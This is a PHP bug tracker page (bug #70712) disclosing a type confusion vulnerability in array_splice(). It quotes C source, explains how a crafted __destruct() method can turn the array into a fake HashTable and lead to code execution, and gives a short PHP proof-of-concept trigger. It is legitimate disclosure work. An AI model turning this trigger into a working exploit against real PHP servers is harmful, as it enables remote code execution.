php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #70712 Type Confusion Vulnerability in array_splice()
Submitted: 2015-10-14 14:11 UTC Modified: 2020-06-10 11:01 UTC
From: taoguangchen at icloud dot com Assigned:
Status: Verified Package: *General Issues
PHP Version: Irrelevant OS: *
Private report: No CVE-ID: None
 [2015-10-14 14:11 UTC] taoguangchen at icloud dot com
Description:
------------
Type Confusion Vulnerability in array_splice()

array.c
```
PHPAPI void php_splice(HashTable *ht, zend_uint offset, zend_uint length, zval ***list, zend_uint list_count, HashTable *removed TSRMLS_DC) /* {{{ */
{
	zend_hash_splice(ht, sizeof(zval *), (copy_ctor_func_t) zval_add_ref, offset, length, (void **) list, list_count, removed);
...

PHP_FUNCTION(array_splice)
{
	...

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "al|lZ", &array, &offset, &length, &repl_array) == FAILURE) {
		return;
	}

	...
	
	if (repl_array) {
		/* Make sure the last argument, if passed, is an array */
		convert_to_array_ex(repl_array);

	...
	
	/* Perform splice */
	php_splice(Z_ARRVAL_P(array), offset, length, repl, repl_num, rem_hash TSRMLS_CC);
```

zend_hash.c
```
ZEND_API void _zend_hash_splice(HashTable *ht, uint nDataSize, copy_ctor_func_t pCopyConstructor, uint offset, uint length, void **list, uint list_count, HashTable *removed ZEND_FILE_LINE_DC) /* {{{ */
{
	...
	
	for (pos = 0, p = ht->pListHead; pos < offset && p; pos++, p = p->pListNext);
	
	while (pos < offset + length && p) {
	
	...
		/* Remove element */
		{
			Bucket *p_next = p->pListNext;	
			zend_hash_bucket_delete(ht, p);
			p = p_next;
		}
```

a object-type ZVAL can be destroyed via the convert_to_array_ex(), so an attacker can set a object-type &repl_array, then call to the object's crafted __destruct() magic method is able to change &array into other-type ZVAL. this means an attacker will be able to create fake HashTable and fake Bucket via the Z_ARRVAL_P macro with a integer-type ZVAL. this should result in arbitrary code execution.

PoC:
```
class obj
{
	function __destruct()
	{
		$GLOBALS['arr'] = 1;
	}
}

$arr = array(1);
array_splice($arr, 0, 1, new obj);
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-10-14 16:38 UTC] stas@php.net
-Type: Security +Type: Bug
 [2020-06-10 11:01 UTC] nikic@php.net
-Status: Open +Status: Verified
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Mon Dec 02 12:01:29 2024 UTC